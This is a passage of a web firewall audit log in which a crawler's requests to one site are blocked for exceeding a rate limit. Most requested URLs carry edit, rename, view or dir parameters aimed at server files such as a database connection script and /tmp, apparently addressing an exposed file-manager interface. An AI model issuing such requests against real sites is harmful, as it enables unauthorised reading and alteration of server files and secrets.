{"transaction":{"time":"13/Mar/2026:09:45:02.453289 +0100","transaction_id":"abPOjk26I4peWFmz15ymrAAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fforms%2Fsecond.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0f859c2de9a5a88d20f982789387f839","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8160678"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0f859c2de9a5a88d20f982789387f839","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/forms/second.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":282,"p2":2497,"p3":0,"p4":0,"p5":498,"sr":128,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:02.543199 +0100","transaction_id":"abPOjk26I4peWFmz15ymrQAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fforms%2Ferror.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c89cf98374701e5838072bf208e4d44e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10259213"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c89cf98374701e5838072bf208e4d44e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/forms/error.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":184,"p2":1546,"p3":0,"p4":0,"p5":346,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:13.392381 +0100","transaction_id":"abPOmeEAMg66iR7kG38gsAAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fsivaco%2F.gitattributes HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"059f279655734cd00b1fcb3ac6b0058c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12028737"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"059f279655734cd00b1fcb3ac6b0058c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/sivaco/.gitattributes& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":293,"p2":2630,"p3":0,"p4":0,"p5":495,"sr":157,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:13.446257 +0100","transaction_id":"abPOmeEAMg66iR7kG38gsQAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fcompare.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"6515899d7d1e24153f9d7931e9b86f69","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7246035"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6515899d7d1e24153f9d7931e9b86f69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/compare.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":212,"p2":2646,"p3":0,"p4":0,"p5":341,"sr":172,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:13.623083 +0100","transaction_id":"abPOmeEAMg66iR7kG38gswAAA04","remote_address":"216.73.216.152","remote_port":43306,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fnew_jmk%2Fproject.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5a551b53fd38fb5acf0bf94c082c8eb1","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7246038"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5a551b53fd38fb5acf0bf94c082c8eb1","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/new_jmk/project.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":394,"p2":3150,"p3":0,"p4":0,"p5":460,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.049016 +0100","transaction_id":"abPOmm-XEucyBza91ntmKgAAAwU","remote_address":"216.73.216.152","remote_port":33970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2F.gitignore HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"62984234c9842a8bef492a10ed59cd06","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2921189"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"62984234c9842a8bef492a10ed59cd06","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/.gitignore& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":185,"p2":1792,"p3":0,"p4":0,"p5":332,"sr":122,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.081954 +0100","transaction_id":"abPOmm-XEucyBza91ntmKwAAAwU","remote_address":"216.73.216.152","remote_port":33970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Ffonts%2Fflaticon.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7cec46cd9daba302c99e2178b7071ae2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"14223496"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7cec46cd9daba302c99e2178b7071ae2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/fonts/flaticon.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":249,"p2":1773,"p3":0,"p4":0,"p5":2083,"sr":116,"sw":0,"l":0,"gc":1773},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.117015 +0100","transaction_id":"abPOmuEAMg66iR7kG38gtwAAA0U","remote_address":"216.73.216.152","remote_port":33126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Fconnect-db.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"1f2d01093207d8581d37b1d981d8d708","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2921192"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"1f2d01093207d8581d37b1d981d8d708","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/connect-db.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":177,"p2":1761,"p3":0,"p4":0,"p5":368,"sr":115,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.159258 +0100","transaction_id":"abPOmuEAMg66iR7kG38guQAAA0A","remote_address":"216.73.216.152","remote_port":33960,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fsivaco%2Fpackage.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0d616adfdf3befb2a501cb78e6344103","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2921195"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0d616adfdf3befb2a501cb78e6344103","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/sivaco/package.json& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":281,"p2":2630,"p3":0,"p4":0,"p5":478,"sr":154,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.191543 +0100","transaction_id":"abPOmuEAMg66iR7kG38gugAAA0A","remote_address":"216.73.216.152","remote_port":33960,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Ftemplate_Agrotek_jmk%2Fcss HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ec5cdc2f10069883bb0b9baea4615989","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8424089"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ec5cdc2f10069883bb0b9baea4615989","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/template_Agrotek_jmk/css& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":210,"p2":2429,"p3":0,"p4":0,"p5":303,"sr":127,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.309362 +0100","transaction_id":"abPOmk26I4peWFmz15ymtQAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fsivaco%2Fcomposer.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"5773a5af21b4bf633bc7194c9a98e49d","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"8424092"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5773a5af21b4bf633bc7194c9a98e49d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/sivaco/composer.json& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":325,"p2":2136,"p3":0,"p4":0,"p5":416,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.339474 +0100","transaction_id":"abPOmk26I4peWFmz15ymtgAAAVE","remote_address":"216.73.216.152","remote_port":60814,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2F%2Ftmp HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"19976683b89836f8480bdb55b17f0ba8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10620361"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"19976683b89836f8480bdb55b17f0ba8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=//tmp& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":188,"p2":2444,"p3":0,"p4":0,"p5":493,"sr":143,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:14.379869 +0100","transaction_id":"abPOmm-XEucyBza91ntmLAAAAwU","remote_address":"216.73.216.152","remote_port":33970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Fblog-single.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e416910e36444aacf121e5e21476d3ee","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com 